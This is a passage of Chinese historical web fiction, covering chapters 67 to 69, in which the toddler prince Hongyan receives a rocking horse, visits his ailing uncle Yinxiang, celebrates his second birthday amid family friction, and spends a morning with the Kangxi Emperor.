“放心吧,四伯母。”弘暟说完,立马走到德妃身旁,将弘晏抱了起来。 小团子果然软乎乎的,身上还有一股奶香味,好好闻啊。 弘暟凑过去用鼻子嗅了嗅弘晏的脸蛋儿,而后还不忘对着下面坐着的完颜氏嘚瑟:“额娘,你看,我就说我可以的。” 完颜氏:“……” 乌拉那拉氏瞧见了一旁立着的弘明,虽然嘴上什么也没说,但是眼睛却一直黏在弘晏身上,便主动开了口:“弘明,你可愿抱抱福宝?” 弘明愣了一瞬,随即朝着乌拉那拉氏拱手道:“当然愿意,多谢四伯母。” 随后,弘暟就像在完成很神圣的交接仪式一样,把弘晏托付给了弘明。 弘晏很明显的感觉到了弘明抱他的动作有些僵硬,不似弘暟自在,便想要让弘明放轻松些:“嘿嘿,锅锅。” 这么近距离的接触弘晏,弘明腼腆一笑。 上首的德妃瞧着高高的弘明抱着小小的弘晏,却有些恍惚。 若干年前,胤禛也是这样欢欢喜喜的抱着胤禵。 可是,不知从何时起,一切都变了。 或许是孝懿仁皇后崩逝后,自己将他要了回来。 或许是她一开始就不该将胤禛送给孝懿仁皇后抚养,而换来自己在后宫的位分。 又或许是她既然许诺将胤禛送出去了,就该完全割舍母子情分,不该再将胤禛要回来…… “玛嬷,你怎么了?”弘暟晃悠着德妃。 德妃思绪回笼,挤出笑容说道:“玛嬷没事,在想我们弘暟可比去岁白的些,更好看了。” 弘暟见德妃打趣自己,忍不住解释道:“玛嬷,我本来就不黑,爷们儿要好看做什么,我可是要当巴图鲁的。” 弘明接话道:“对,黑炭一样的巴图鲁。” 弘暟有些急了,气鼓鼓地撵着弘明满屋子跑。 而回归到乌拉那拉氏怀里的弘晏,拍着小手助威,一幅看热闹不嫌事大的模样。 第67章 第67章摇摇木马 初一热热闹闹的过去,初二一早,怀恪郡主就带着额驸那喇星德来了雍亲王府就直奔正院去了。 这厢,奴才们将怀恪郡主与那拉星德准备的礼品收下,上首端坐着的胤禛望向那拉星德,开口问道:“星德,你的伤如何了?” 那喇星德拱手禀报:“回阿玛,这些日子多亏了郡主照料,已然无碍了。” 那喇星德说这话时,一旁的怀恪郡主只柔柔的笑着。 胤禛瞧着那喇星德面色红润,声音浑厚,摩挲着手指上的玉扳指,点头道:“那就好。” 待胤禛话音落下,那喇星德又道:“今日除了陪着郡主归宁,也给六阿哥备了一份谢礼。” 坐在乌拉那拉氏怀里小口小口吃着孙泥额芬白糕的弘晏听了这话,立马抬起头望向了那喇星德。 而那喇星德也正冲着弘晏笑。 乌拉那拉氏抬眸望向那喇星德,疑惑开口:“额驸这话是从何说起啊?” 那喇星德闻言,看向了身旁的怀恪郡主,方才还清澈坚毅的眼神此刻满是柔情:“当日若非是六阿哥,我与郡主哪里能及早解除误会呢。” 当着胤禛与乌拉那拉氏的面儿,怀恪郡主不好意思与那喇星德对视,偏了偏头,脸上却很快显出一抹红晕。 弘晏想起来了,不就是那天他跟着便宜阿玛到了那喇府之后,在那喇星德的书房里找出了那喇星德为怀恪郡主而作的画嘛,到底是自家姐姐姐夫,他不过是举手之劳啦。 那喇星德的话音落下,两个奴才抬着一块盖了红绸子的东西进来。 那东西落地的声音清脆,外轮廓瞧着好像是一种动物,可是又没有听到这动物发出声响,又不像是活物,弘晏倒是有些好奇究竟是什么东西了。 那喇星德瞧见了弘晏探寻的目光,走过去将遮得严严实实的红绸子掀开来,落入弘晏眼帘的是一个小木马。 这木马做工精致,形象逼真,而且还有脚踏和手柄,那马背上还放了一块软绵绵的垫子。 那喇星德开口介绍道:“这木马是我自己设计,自己雕刻出来的,还望六阿哥莫要嫌弃。” 怀恪郡主紧跟着开口:“额驸做了好些日子呢,那马背上的垫子是我的手艺,六弟不妨试试?” “好啊。”弘晏说着,便要挣扎着从乌拉那拉氏身上下去。 乌拉那拉氏见状,便将弘晏抱下去了。 弘晏的双脚刚一落地,便哒哒的跑了过去,先上是伸手摸了摸马头,而后走到脚踏处,抬起了自己的小腿儿,不过好像好些够不着呢。 那喇星德见状,伸出两只手穿过弘晏的腋下,将弘晏抱起来放到了马背上。 弘晏的小屁股在马背上坐稳当之后,两只手便握住了两侧的手柄,而后摇摆了两下身子,不成想这木马竟因为弘晏的动作而前后晃动了起来。 弘晏眼睛亮亮地,满是惊喜道:“额凉,这木马会动欸。” 那喇星德见弘晏喜欢,笑着开口:“六阿哥,这是摇摇木马,你动,它便动,你停,它自然也停。” 弘晏点了点小脑袋:“嘿嘿,谢谢姐夫。” 怀恪郡主走过去,摸了摸弘晏的小脑袋,问道:“只谢你姐夫?你坐的可是我绣的垫子。” 弘晏立马找补道:“谢谢二姐姐。” 怀恪郡主又朝着弘晏的小脑袋摸了一把:“这还差不多。” 寒暄过后,怀恪郡主与那喇星德便告辞往碧波苑去,而胤禛与乌拉那拉氏也带着弘晏去乌拉那拉府。 在外祖的乌拉那拉府玩了一下午,弘晏又得到了好多的金锞子,随身的小荷包装得是鼓鼓囊囊的,这一过年,他的小金库可是又添了一笔进项。 这过年的喜庆氛围就连过了正月十五上元节后还是很浓厚。 这日中午,胤禛来正院陪着乌拉那拉氏与弘晏用午膳,饭桌上添了一道热气腾腾的牛肉锅子。 席间,乌拉那拉氏对着胤禛说道:“今个儿早上,十三弟妹派人捎来了口信,说十三弟的腿疾加重又不肯让御医医治,爷若下午没事儿,便去瞧瞧吧。” 胤禛闻言,眉头蹙起:“好,爷下午去瞧瞧老十三。” 胤祥的性子他是清楚的,兆佳氏都这般说了,想来这腿疾加重是有些日子了。 正在吃萝卜的弘晏听见了,扬着小脸儿说道:“阿玛,窝也去,看十三叔。” 胤禛瞧向弘晏:“好,带你去。” 用罢午膳,胤禛休整过后,便带着弘晏与柳从南出发去十三贝子府。 —— 胤祥书房内。 胤祥瞧见胤禛与弘晏,原本是欢喜的,可望见了拎着药箱的柳从南,脸上的笑意便收敛了,转而望向一旁的福晋兆佳氏,语气有些不悦:“可是你的主意?” 兆佳氏虽然知晓胤祥会不高兴,但是她还是这般做了:“爷不肯治腿疾,我只能请四哥来了。” 胤祥敛眸,没好气的斥道:“我都说了,这腿是老毛病了,没什么大事,你叨扰四哥做甚?” 新年伊始,处处喜庆热闹,众人都图吉利讨福气,因他的腿疾加重,整个十三贝子府都恹恹地带着丧气,如今又怎能连累胤禛跟着一同操心伤神。 胤禛见状,耐着性子劝道:“十三弟,既然无大碍,不妨让柳从南瞧上一瞧,也好让十三弟妹放心。” 对着胤禛,胤祥的语气软了下来,可还是推拒:“四哥,我自己的身子,我最清楚,积年的老毛病罢了。御医从前又不是没有瞧过,内服外敷的药,不知吃了多少,既然无法根治,还费什么力气,左右又不挡我吃饭穿衣、骑马射箭。” 胤祥越是表现出一幅不以为然、不在乎的模样,胤禛越是心疼这个十三弟。 而弘晏已经睁大眼睛观察胤祥许久了,胤祥人坐在小榻上,左手随意的搭在左膝上,右手却掌心朝下撑在榻边,很显然是在借力,是以弘晏便断定胤祥伤在右腿,而且来的路上,他也听见了柳从南与便宜阿玛的谈话。 胤祥的这个病好似叫什么鹤膝风,他虽然不懂什么意思,反正是膝盖那一块有问题就是了。 弘晏心里来了主意,走到胤祥面前,突然伸出手按了按胤祥的膝盖那一块。 纵使胤祥面上装得云淡风轻,可膝盖被外力所施压时,他还是下意识的倒吸了一口凉气:“嘶。” 胤禛见状,脸色一沉:“福宝,不可胡来。” 胤祥忍着腿上传来的痛感,忙打圆场道:“四哥,福宝还小,别吓着他。” 弘晏望着胤祥,忽闪着大眼睛一本正经道:“十三叔,腿痛痛,要看病。” 他这幅小身板才有多大的力气,胤祥连他碰一下膝盖,都疼得不行,可见病情是十分严重了。 胤禛此时是明白过来弘晏的用意了,顺着话茬说道:“十三弟,连我家福宝都明白的道理,你怎么还犯起糊涂来。” 弘晏又对着胤祥哄道:“十三叔,不怕不怕,窝发热,吃药药,就好了。” 他这病哪里能与寻常的发热相比,不过弘晏这般挂心 他,胤祥感动的紧,遂抬手摸了摸弘晏的小脑袋:“好,十三叔听福宝的。” 弘晏笑了:“十三叔,乖乖。” 胤祥听罢,先是一愣,而后跟着笑了。 他这般年岁,竟还能从一个小娃娃口中听到夸自己乖,想必弘晏之前发热时,乌拉那拉氏就是这般哄弘晏吃药的吧。 兆佳氏听到胤祥愿意叫柳从南医治腿,可算是松了一口气。 不过,她之前曾瞧过胤祥的腿是何模样,对于弘晏这样的小娃娃来说是有些骇人的,是以兆佳氏便吩咐人将与弘晏同岁的弘晈带进来,介绍完两个小娃娃相互认识之后,兆佳氏便吩咐人将弘晏与弘晈带到外间玩耍。 避开两个小娃娃后,柳从南走过去蹲下将胤祥的裤子捋到了膝盖以上。 胤祥的腿疾确实加重了,膝盖部位有了肿块不说,而且已然生出了脓疮,如果放任自流下去,便会溃烂变腐,届时再医治会更为棘手。 柳从南只能先将胤祥的膝盖表面进行清洗,而后将事先配好的药膏敷在胤祥膝盖处。 但这药膏只能暂时缓解胤祥的腿疾,并不能根治,鹤膝风这种病古怪,古籍医书上也未有根治之法,不过胤禛与胤祥既然相信他的医术,他定然尽心钻研,早日配制出根治之药。 柳从南的意思,胤禛与胤祥自然也清楚。 隔扇门并没有关,是以在外间与弘晈玩耍的弘晏竖起小耳朵将里面的对话听得是清清楚楚。 事在人为,只要胤祥肯配合治疗,总比直接放弃要好的多。 蹲在地上的弘晈将一块七巧板放好,对着弘晏说道:“锅锅,到你了。” 弘晏思绪回笼,开口道:“噢。” 正事办完,内室的胤禛已然起身出来要带着弘晏回去。 胤祥如今的情形,还是静养为好。 弘晈一听弘晏要走,可就不乐意了,撅着小屁股站起来就抱住了弘晏,挽留道:“锅锅,不走,玩玩。” 在雍亲王府是最小的弘晏,如今听着别人喊着自己哥哥,便也拿出了哥哥的样子,摸了摸弘晈的小脸蛋儿:“弟弟乖,锅锅先回去,下次再来陪泥玩。” 弘晈虽然还是舍不得,但还是乖乖的点了点小脑袋。 弘晏又摸了摸弘晈的小脑袋:“嘿嘿,弟弟乖乖。” 待胤禛与弘晏父子二人带着柳从南走后,兆佳氏给胤祥端来了一碗参汤:“这参汤热了凉,凉了热的,爷还是快些喝了吧。” 胤祥瞥了一眼兆佳氏端着的青花瓷碗,答道:“爷喝也无用,还是你喝了,好好补一补身子。” 兆佳氏出声道:“怎会无用,爷方才还答应四哥要好好治病养身子的,如今便食言了,那我只好把四哥再给请回来了。” 兆佳氏又将胤禛搬了出来,胤祥话到嘴边又咽下,接过兆佳氏手中的青花瓷碗赌气似的一饮而尽。 兆佳氏嘴角翘起,拿起帕子要给胤祥擦嘴,却被胤祥躲开。 “爷又不是弘晈。”胤祥说完,拿着帕子自顾自的擦起嘴来。 兆佳氏便起身走到书案旁,要将胤禛看过的那本书放回到架子隔上,可兆佳氏刚把书拿起来,就发现书下压着一样东西。 兆佳氏走过去,将那样东西递给了胤祥:“爷,你瞧。” 胤祥接过来一瞧,是一张面值一千两的银票。 怪不得胤禛会突然从他的书架里拿起一本书,翻了两页便放下了,原来是为了贴补他。 兆佳氏出声问道:“爷,四哥应当还没走远,这银票要不咱们派人还回去?” 胤祥开口答道:“今日就算是还了回去,四哥下次还会想旁的法子,四哥的一番心意,收下吧。” 话说着,胤祥将银票递给了兆佳氏。 胤禛做事向来是周密的,今日带着雍亲王府的府医来他府上,旁人只道是兄长挂心他的腿疾。 偷偷将银票贴补给他,也不会落人以柄,可若是他巴巴的差人送了回去,在好事之人看来,事情可就不是那么简单了。 兆佳氏听了胤祥的话,便将银票收下了。 此时,弘晈哒哒的迈着小短腿跑进来,对着胤祥唤道:“阿玛,锅锅,什么时候,再来?” 胤祥一把将弘晈抱起来,放在自己的大腿上。 兆佳氏生怕弘晈不安分,会踢到胤祥的腿,正欲开口,却被胤祥抢了先:“无妨,福晋放心。” 随后,胤祥又低头对着弘晈说道:“过些日子,阿玛就带你去雍亲王府找福宝哥哥,如何?” 弘晈开心地笑了:“好。” 第68章 第68章御赐之物 冬去春来,很快到了弘晏的两岁生辰,小寿星指名要穿大红色的袍子,腰上又系上了那块小兔玉佩。 雍亲王府众人齐齐聚在前院,怀恪郡主与额驸也特意赶来为弘晏过生辰。 开宴之前,胤祥带着福晋兆佳氏与儿子弘晈也来了雍亲王府。 弘晈一见着弘晏,兴冲冲的跑过去喊道:“锅锅。” 弘晏抬手摸了摸弘晈的小脑袋:“嘿嘿,弘晈弟弟。” 随后,弘晏拉起弘晈的小手,为他介绍起弘时、弘历和弘昼来。 几个孩子打着招呼,胤禛则做了个“请”的手势,带着胤祥往屋子里走去。 胤禛的屁股还没坐热,与胤祥说了没两句话,十四阿哥胤禵带着福晋完颜氏和两个儿子弘明、弘暟也来了。 弘暟哒哒跑过去就抱住了弘晏:“嘿嘿,福宝弟弟。” 稳重些的弘明则提醒道:“你慢点儿。” 弘暟闻言,只道:“嘿嘿,我有分寸。” 完颜氏走过去与兆佳氏坐在了一起,而胤禵瞧着与胤禛坐在一起的胤祥,扯了扯嘴角:“我这紧赶慢赶,还是晚了旁人一步啊。” 乌拉那拉氏开口打圆场:“不晚,不晚,只怕今日招待不周,十四弟别见怪。” 胤禵掀起袍子坐在了胤祥身旁,从碟子里捏起一个蜜饯道:“四嫂这话就见外了,我可是弘晏的亲叔叔,咱们都是自家人。” 话说完,胤禵将蜜饯送进了嘴里。 胤禛与胤祥相视一眼,只喝茶却不搭茬。 空气突然安静下来,兆佳氏的一声干呕却让气氛重新活络了起来。 完颜氏试探的问道:“十三嫂,莫不是有了?” 这厢兆佳氏刚缓过劲来,听了完颜氏的话,笑着点了点头。 乌拉那拉氏闻言,笑道:“好啊,那可是双喜临门了。” 正在与弘晏等人玩的弘晈,听到大人们的谈话,哒哒跑到乌拉那拉氏面前,扬了扬小脸儿说道:“四伯母,窝要当锅锅了。” 胤禵抢在乌拉那拉氏之前开了口:“弘晈,你倒是什么都明白。” 随即,胤禵朝着弘晈招手,笑呵呵道:“来,到十四叔这里来。” 弘晈看着胤禵,眨巴了下眼睛,转而迈着小步子又跑回弘晏身边去了。 胤禵:…… 兆佳氏见状,开口找补:“十四弟不常来府上,弘晈有些认生呢。” 认生? 胤禵瞧向了与弘晏等人打成一片的弘晈。 难道弘晈见弘时、弘历、弘昼的次数比他多吗? 算了,他可没有无聊到跟个小娃娃计较。 胤禵转而看向了胤祥:“听说前些日子,四哥带着府医去了十三哥府上,十三哥的腿疾莫不是又严重了?” 下一瞬,胤禵又自答道:“不对,十三哥的腿疾该是好了,不然也不能有雅兴再添子嗣。” 胤禛的脸色一沉,声音里含着隐隐的怒意:“老十四。” 完颜氏也没有想到胤禵会突然说这个,低垂着眉眼,都不好意思瞧身旁的兆佳氏了。 胤祥反而笑着开了口:“有劳十四弟惦记,我这腿疾确实比前些日子好多了,这也多亏了四哥府上的府医。” 胤祥这般坦荡,胤禵倒是自讨没趣儿了。 弘晏可看不过眼胤禵拿胤祥的腿说笑,哒哒跑过去,理直气壮的问道:“十四叔,窝的礼物呢?” 胤禵见着奶呼呼的弘晏,抬手朝着弘晏的脸上捏了一把:“十四叔给你过生辰,怎么会空手来呢?” 随即,胤禵便命人将给弘晏准备的礼物拿出来。 是一块质地上等的玉佩。 不过弘晏已然有了许多玉佩,已然不稀罕这东西了,只对着胤禵礼貌道谢,并没有什么太大的反应。 胤禵见状,心里有点儿窝气了。 老四素日里跟他不对付也就罢了,自己今日巴巴地赶过来给弘晏过生辰,这小娃娃竟然还瞧不上自己的礼物。 胤禵转而看向了胤祥:“不知十三哥,备了什么礼?” 胤祥便叫人将礼物拿上来。 是一个金项圈。 胤禛眉头微颦,出言劝道:“十三弟,小孩子过生辰罢了,何须如此破费。” 胤祥府上不算宽裕,这几年因为治疗腿疾,光珍贵药材这一项开支,便有不少的花销,可胤祥连他都不曾开口提起,更不会向宫里言明,是以,上次带着弘晏与柳从南到十三贝子府,他才偷偷在书下压了一张面值一千两的银票作为贴补。 今日胤祥将金项圈作为礼物送给弘晏,怕是花费了不少银钱。 胤祥笑道:“欸,做叔叔的,给侄子过生辰,自然要挑好的送。” 随即,胤祥又对着弘晏问道:“福宝,喜欢十三叔送你的礼物吗?” “嘿嘿,喜欢。”说着,弘晏便朝着胤祥伸出手,想要胤祥抱自己。 胤祥很是高兴的俯身,将弘晏抱到怀里。 谁知弘晏到了他的怀里,两只手便攀着他的胳膊,将脸凑上来,在他脸上亲了下,笑得眼睫弯弯:“谢谢十三叔。” 胤祥先是一愣,随后哈哈笑了。 此时,苏培盛进来禀报道:“爷,魏珠魏公公来了。” 胤禛眸中划过一抹诧异,随即道:“快请进来。” 魏珠进来,瞧着一屋子的人,打千儿道:“奴才见过四爷、四福晋、十三爷、十三福晋、十四爷、十四福晋。” 众人皆朝着魏珠颔首,以示回礼。 魏珠开口禀报:“四爷,皇上知晓今日是六阿哥的生辰,特意命奴才给阿哥送来一柄新疆进贡的玉如意,祝愿阿哥事事顺心如意。” 魏珠话音落下,其余人跟着胤禛一同行礼道:“谢汗阿玛赏赐。” 魏珠笑道:“皇上的口谕,奴才已然带到,这便回宫复命去了。” 胤禛闻言,客气挽留:“魏公公,不若留下一同用膳吧。” 魏珠弓身颔首道:“多谢四爷美意,只是奴才还有差事在身,得回御前伺候呢。” 胤禛抬手做了个“请”的手势:“公公慢走。” 魏珠转过身要走,却感觉衣角被人揪了一把,低头瞧去正是六阿哥弘晏。 弘晏忽闪着大眼睛:“魏公公,告诉皇玛法,窝明天去看他。” 魏珠笑得慈祥:“是,阿哥的话,奴才一定带到。” 弘晏松了捏着魏珠衣角的手,转而对着魏珠做了个“拜拜”的手势。 等魏珠一走,弘暟看向玉如意的眼睛都直了:“这玉如意可是值不少钱呢吧。” 弘明见状,开口道:“这是皇玛法对福宝弟弟的恩宠,岂能用银钱来衡量。” 弘暟连连点头,转而望向弘晏,问道:“福宝弟弟,我能摸摸吗?” 弘晏点了点小脑袋。 就当弘暟的手,快要触碰到玉如意的时候,胤禵提起步子走过去,抬手拍了一下弘暟的脑袋。 弘暟下意识的将手缩了回去,疑惑问道:“哎呦,阿玛你打我干什么?” 胤禵拉着个脸斥道:“没出息的,这是你皇玛法独独赏给弘晏的。” 弘暟闷闷地“哦”了一声。 胤禛出声道:“十四弟,何必动怒,弘暟别说是摸玉如意,拿着把玩都可以。” 胤禵就是瞧不惯胤禛这幅模样:“弘暟性子毛躁,这玉如意乃御赐之物,若是损坏了,我们可担待不起。” 弘暟闻言,扭过脸为自己辩驳:“阿玛,我哪里毛躁了,昨日你还夸我心思细腻呢。” 胤禵“啧”了一声,又要动手却被完颜氏给拦住了:“好好的,你老打他作甚?” 胤禵火气上来,连着完颜氏一起训:“你还敢拦我,慈母多败儿,都是你惯的。” 弘暟见状,赶忙躲到了弘明身后。 一直沉默的怀恪郡主终是看不过眼了:“十四叔,这里是雍亲王府,今日又是福宝的生辰,你这般模样恐怕会将几个孩子吓坏的。” 年龄最小的弘晈,哪里见过这幅阵仗,现在已然窝在额娘兆佳氏怀里寻求温暖了。 那喇星德跟着站出来:“是啊,听闻十四叔海量,侄婿正想讨教一番呢。” 如此,这小插曲才翻过去。 宴席上,胤禵拉着那喇星德拼酒,待尽了兴,胤禵又拉着那喇星德到院子里比试拳脚和剑法。 二人一出去,其余人自然也都追出去瞧热闹了。 怀恪郡主的视线,一直追随着那喇星德,眼眸中满是担忧。 星德的身子痊愈没多久呢,今日喝了这么多酒不说,还动起了刀剑。 十四叔也真是的,不就是皇玛法赏了福宝一个玉如意吗? 至于眼热成这样。 站在胤禛身旁的胤祥,瞧着比试的二人,笑道:“四哥,这不知道的,还以为星德是十四弟的女婿呢?” 胤禛闻言,满是无奈。 比试,讲究点到为止。 胤禵那点子儿不满发泄出来,自然也就停了。 那喇星德手腕一转,那剑头便朝了下,随即拱手道:“十四叔的剑法高深,侄婿远不及也。” 胤禵走过去,抬手拍了下那喇星德的肩膀:“你还年轻,多加练习,假以时日,必成大器。” 老四这个女婿,可比他强多了。 那喇星德虚心道:“多谢十四叔提点。” 胤禵点了点头,转而进了屋子。 怀恪郡主走过去,拿起帕子垫着脚给那喇星德擦脸上的汗珠:“可有伤着?” 那喇星德憨笑:“切磋而已,无妨。” 怀恪郡主的心,方安稳了些。 不久,宴席毕,宾客散。 正院内的小榻上,弘晏瞧着乌拉那拉氏给自己的礼物登记入册。 一旁坐着的胤禛却与弘晏算起了账:“福宝,你今日胆子可太大了。” 弘晏装糊涂般的眨了眨眼睛。 胤禛饮了口茶,方道:“拉了魏珠的衣角,还要进宫去。” 弘晏理直气壮的说道:“窝想皇玛法了。” 得了玉如意,不进宫谢恩怎么行。 第69章 第69章自圆其说 弘晏的话已然说出去了,胤禛身为阿玛不照办怎么能行呢。 翌日一早,收拾妥当后,胤禛就带着弘晏坐马车进宫去了。 到了乾清宫门前,魏珠见着来人是胤禛与弘晏,赶忙迎上去:“四爷,皇上正与大臣们议事呢。” 胤禛听罢,抱着弘晏到廊下等候了。 少顷,门“嘎吱”一声开了,几位大臣出来对着胤禛与弘晏行礼问安之后,便离去了。 大臣甲:“听说昨日皇上派魏公公给雍亲王的这位六阿哥赏了一柄进贡的玉如意,此番进宫怕是来谢恩的。” 大臣乙:“除了先太子的那位弘皙阿哥,可没见皇上对哪位皇孙这般上心了,若是皇上爱屋及乌,那岂不是……” 大臣丙:“二位兄长,慎言,慎言啊。” 大臣们的言论胤禛与弘晏自然是不知晓的,只是待魏珠禀报完,父子二人才进了大殿。 弘晏的脚刚落地,便哒哒的跑向了御案:“嘿嘿,皇玛法。” 胤禛额间一跳:“福宝,不得无礼。” 康熙觉得胤禛大惊小怪,摆手道:“无妨。” 随后,康熙俯身将弘晏抱坐到了自己的膝头,对着自己怀里的小团子说道:“福宝,朕昨日听魏珠说你要来,可是盼着你呢。” 弘晏的小脑袋靠在康熙怀里,撒娇道:“嘿嘿,窝也想皇玛法。” 康熙闻言,爽朗一笑。 康熙慈爱地问道:“福宝,可用早膳了?” 弘晏摸了摸自己的小肚子:“饱饱了。” 话说完,弘晏还拿着康熙的手放到自己的小肚子上。 小娃娃的肚皮软乎乎的,手感不错,康熙哈哈笑道:“圆滚滚的,咱们小福宝是吃饱的了。” 弘晏忽闪着大眼睛,看着康熙问道:“皇玛法,吃了吗?” 康熙如实答道:“朕吃了几块点心。” 弘晏上手摸了摸康熙的肚子,随即一本正经地说道:“肚肚扁扁,皇玛法多吃饭,长肉肉。” 堂下立着的胤禛听到这里,适时开口道:“汗阿玛,朝政虽然重要,但是您的身子更为要紧,早膳还是要多用些才好。” 康熙的余光瞥了胤禛一眼,淡淡地的应了一声。 哼,儿子还说教起老子来了。 康熙低下头看向弘晏那肉嘟嘟的小脸蛋儿时,目光又变得慈祥:“好,汗玛法听福宝的,多吃饭,长肉肉。” 胤禛:…… 弘晏闻言,黑葡萄般的眼睛珠转了转:“嘿嘿,皇玛法乖乖。” 胤禛闻言,心头一紧:“福宝……” 康熙打断了胤禛的话,皱眉道:“老四,你当差去吧。” 胤禛先是一愣,而后有些迟疑,正欲开口,又听上首的康熙说道:“怎么?福宝在朕这里,你不放心?” 胤禛忙打千儿道:“儿臣不敢,儿臣告退。” 而弘晏则笑嘻嘻的朝着胤禛摆手:“阿玛,拜拜。” 胤禛:…… 待胤禛走后,康熙叫梁九功端来了一碗莲子粥,而后抱着弘晏移坐到临窗的檀木小榻上。 他方才答应福宝要好好吃饭的,自然是不能食言的。 康熙舀起一勺粥,问道:“福宝,可要尝尝?” 弘晏摇了摇小脑袋:“窝看皇玛法吃。” 康熙边吃着莲子粥,边问向身旁坐着的弘晏:“福宝,昨日你生辰,你十三叔也去了,他的腿疾如何了?” 康熙若想知道胤祥的病情,大可以直接问胤祥本人,或是让身边的人去打听,但康熙都没有,反而来问他这个小娃娃,看来还是拉不下脸啊。 毕竟胤祥的病根,可是当年在养蜂夹道幽禁时埋下的。 弘晏扬起小脸儿,奶呼呼地回答道:“十三叔腿痛痛,看病,要银子。” 康熙一愣,随即说道:“你倒是什么都明白。” 弘晏眼睛珠子转了转,继续说道:“十三叔母,有小娃娃了。” 康熙喝粥的动作一顿:“福宝,这话可不能胡说。” 弘晏忽闪着大眼睛:“没胡说,十三叔母自己说的呀。” 也是,这些话福宝应当都是昨日从胤禛与胤祥嘴里听来的。 康熙敛下思绪,继续问道:“福宝,你阿玛与十三叔,还说了什么?” 弘晏摇了摇小脑袋,转而又道:“十四叔打弘暟锅锅。” 昨日,胤禵笑话胤祥的腿疾,与便宜阿玛说话也是呛人的紧,还差点吓哭了弘晈,最后还硬拉着那喇星德拼酒、耍剑。 哼,那就别怪他在康熙面前告状了。 昨日魏珠从雍亲王府回来,可是把当时他看到的情景都说了,是以康熙知晓胤禵也在场,但并不知道他打孩子的事。 康熙不解:“为何?” 弘晏扣着小手指,低低道:“弘暟锅锅要摸玉如意,十四叔就打他了。” 康熙瞧着弘晏忽然变得怯怯的模样,有些心疼了。 这个老十四,当是打孩子给老四瞧的,却把福宝给吓着了。 他贵为九五之尊的皇上,给自己的皇孙送个玉如意做生辰礼又怎样,看不过眼的就拿自己的孩子撒气,这般浮躁,毫无气量,还是做叔叔的。 弘晏见康熙似乎在沉思什么,一双眼睛变得深邃了些,就知晓自己今日告的状是起作用了的,遂适时出声唤道:“皇玛法?” 康熙闻言,将思绪敛下,笑呵呵道:“皇玛法没事儿。” 一碗粥用完,康熙开了口:“梁九功,十三阿哥办差得力,赐白银千两,十三福晋有孕,派人送些补品去十三贝子府。” 梁九功应声,正欲去办,又见身后的康熙开了口:“十三福晋月份尚浅,叫太医院的太医,去给十三福晋好生瞧瞧。” 梁九功转而弓身道:“嗻。” 弘晏看了看傲娇的康熙。 听了自己的一番话,想要贴补胤祥还要师出有名,明明心里是想叫太医给胤祥诊治腿疾,却还要借着十三福晋的名义。 不过,有其父必有其子,胤祥何尝不是骄傲的人呢。 康熙休息了片刻,便要开始批阅奏折。 他本想让御前的小太监带着弘晏玩耍,弘晏却不愿意,自告奋勇的要为他研墨。 康熙自是乐意的,便抱着弘晏往御案旁去了。 康熙的御案对于小小的弘晏来说,委实有些高,他都不够着,更不要提研磨了。 康熙自然明白这一点儿,所以叫弘晏的小脚丫踩在龙椅上。 如此一来,高度是够了的,只是弘晏一伸胳膊,便发觉自己的小胳膊还摸不到砚台。 康熙见状,便将砚台往弘晏手边推了推。 高度和长度都没有问题了,弘晏将两条袖子撸上去,好似要大干一场。 弘晏拿起了砚台上的墨锭,这比他想象中的要重一些,不过这丝毫不影响弘晏的发挥。 研墨正式开始,弘晏拿着墨锭在砚台里转圈,发现手感不错,有些意思,便加快了手上的速度,左三圈,右三圈的来回转。 康熙的余光一直注意着弘晏的动静,见那墨点子从砚台里飞溅出来,便赶忙叫弘晏停下了。 弘晏这时才发觉,原来自己的手也跟着变黑了。 康熙拿着帕子给弘晏擦干净了手,转而开口:“福宝,研墨也是有章法的。” 随即,康熙将墨锭塞到弘晏的手心里,而后又用自己的手包裹住弘晏的手,手把手的教起弘晏来:“来,福宝,这墨锭要斜一些,研磨的时候要朝着一个方向来,就像这样。” 弘晏扭过小脸儿,自信满满地对着康熙说道:“嘿嘿,皇玛法,窝会了。” 康熙便松了手。 见弘晏研磨的有模有样的,康熙便放心的批阅奏折去了。 此时,魏珠进来禀报:“皇上,德妃娘娘来了。” 康熙的狼毫笔快速飞舞着,头也没抬的说道:“叫她进来。” 下一瞬,德妃踩着花盆底笑吟吟的进来福身:“臣妾给皇上请安。” 康熙依旧没抬头:“起来吧。” 德妃站直身体后,一抬眸那脸上的笑意便僵住了,转而斥道:“弘晏,你怎么能站在龙椅上,太没有规矩了。” 她就是听说胤禛带着弘晏进宫给康熙谢恩,才带着人过来的。 康熙抬眼,压低声音责怪:“德妃,你嚷什么,别吓坏了福宝。” 康熙将狼毫笔放回到笔山上,转而看向弘晏,嘴角微微上扬,夸道:“福宝懂事,在为朕研墨。” 德妃眸子一闪,转而又笑了:“弘晏乖巧,是臣妾没瞧清楚,臣妾亲手炖了一盏参汤,皇上趁热尝尝。” 康熙出声道:“朕不饿,先放那吧。” 德妃脸上的笑容淡了些,应道:“是。” 一盏参汤放在了临窗小榻的炕桌上,德妃瞧着又低头批阅奏折的康熙,转而迈步到弘晏身旁,对着弘晏说道:“弘晏,你皇玛法政务繁忙,跟着玛嬷到永和宫玩吧。” 说着,德妃便朝着弘晏伸出了双手。 弘晏见状,像躲避毒蛇似的立马将手里的墨锭松了,身子一扭,双手抱住康熙说道:“不走,要皇玛法。” 德妃的手僵在半空中:“弘晏,听话,你在这里,会干扰你皇玛法处理国家大事的。” 弘晏撅着小嘴,很是委屈:“皇玛法~” 康熙抬眸,转而将弘晏抱坐到了自己怀里:“德妃,你方才还说福宝乖巧。” 德妃嗫嚅着嘴唇:“皇上,臣妾也是……” 康熙打断了德妃的话:“福宝在这里陪朕说说话也是好的,你若无事,便回宫去吧。” 康熙已然下了逐客令,德妃只好跪安。 德妃走了,弘晏可是松了一口气。 康熙看向怀里的弘晏,问道:“福宝,为何不想去永和宫?” 弘晏避而不答,小脑袋只往康熙身上蹭:“要皇玛法~” —— 胤禛正事办完,就赶忙来了乾清宫。 弘晏笑嘿嘿的冲着胤禛喊道:“阿玛。” 一上午没见,他还有些想便宜阿玛呢。 胤禛 嘴角翘了翘。 他不在身边,小家伙总还是不习惯的。 此时,康熙看向了胤禛,出声道:“快到午时了,老四,用了午膳再出宫去吧。” 胤禛颔首婉拒道:“谢汗阿玛美意,只是福宝叨扰汗阿玛一上午,儿臣还是早些带他回府为好。” 康熙抬手摸了摸弘晏的小脸蛋儿:“有福宝相伴,朕很开心,你不吃饭便罢,朕与福宝可是要吃饭的。” 弘晏的眼睛望着康熙,两只手却摸向了自己的小肚子:“肚肚饿了,皇玛法,吃饭饭。” 